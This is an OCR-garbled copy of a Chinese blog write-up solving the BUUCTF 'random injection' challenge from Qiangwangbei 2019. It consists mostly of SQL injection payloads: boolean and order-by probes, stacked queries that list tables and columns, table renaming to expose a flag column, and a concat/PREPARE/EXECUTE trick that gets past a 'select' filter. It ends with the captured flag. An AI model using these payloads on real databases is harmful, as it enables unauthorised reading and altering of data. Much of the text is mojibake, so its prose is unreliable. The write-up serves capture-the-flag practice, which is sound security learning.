BEfEE

beihai2013 F 2021-01-21 10:16:41 KA\ 20 WL

rRER: CTF-Web-Sal

AL B : ASONE EJRBISCE, #4E CC 4.0 BY-SA FRALIMN, HEIEM LSl A M A= 1 .
ACEERE: https://blog.csdn.net/beihai2013/article/details/112917559

FRARL

qar
h.- o

CTF-Web-Sql ER2BCRIZAR
3RXEOITH
B &R
AR HRIR: 5RMIFF2019

A H%#:: https://buuoj.cn/challenges#
[%E5%BC%BAY%ET7%BD %91%E6%9D %AF %202019]%E9%9A%8F %E4%BE %BF %E6%B3%A8

2. WBIEN, sqlffishowiEf), sqlfITigiE, sqis®

2%,
https://www.cnblogs.com/chalan630/p/12583667.html, https://ca01h.top/Web_security/ctf_writeup/7 .buuctf%E5%88%B7%E9%A
2%98%E2%80%94%E2%80%94SQLY%E6%B3%A8%E5%85%A5/

MREH)

1' and '1'="1

AEBS1S A

Lo # IE¥ H ANTrue

1' and 1=1 --+ # IE¥ HANTrue

1' and 1=2 --+ # IE% H AFalse

?inject=1"' order by 3--+ # error 1054 : Unknown column '3' in ‘'order clause'’
inject=1"'; show tables; --+ $ # 1919810931114514 words

?inject=1"'; show columns from words; --+ #

show columns from 1919810931114514 ;--+

data varchar(20);
)
1919810931114514{
flag varchar(1090);

}
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?inject=1"'; rename table “words’ to "wordsl’; rename table 1919810931114514° to "words ; alter table “words  ch

ange "flag® “id® VARCHAR(100) character set utf8 collate utf8 general ci not null;--+

payload2: igii¥

1';Set @a=concat("sel","ect flag from "1919810931114514 ");Prepare s from @a; execute s; --+

flag

flag{34745aea-2541-43e6-884f-c67988afc34a}
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and 1=1 --+ # AWvENRS

and 1=2 --+ # AWEANZE

order by 3 --+ # HIWi5I%
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databases;

tables;

table from db_name;

engine;

character set; #ERZFFWLFRTE

columns;

create databases; #E/RCZRAIEKE, BN KB
create table; #ERCLBIEMNE, SIENKIEH
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rename table “words® to “test’;
rename table "1919810931114514° to “words ;
alter table “words™ change “flag™ “id" varchar(100);
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SET; # HTRETELMNE

PREPARE stmt_name FROM preparable_stmt; # FHFW&—/MEA, FHWFLK, LA HZER
EXECUTE stmt_name; # PATIEH]

{DEALLOCATE | DROP} PREPARE stmt name; # IR ALHIE f)

set @sql=CONCAT('se', 'lect * from ~1919810931114514 ;");
prepare stmt from @sql;

execute stmt;
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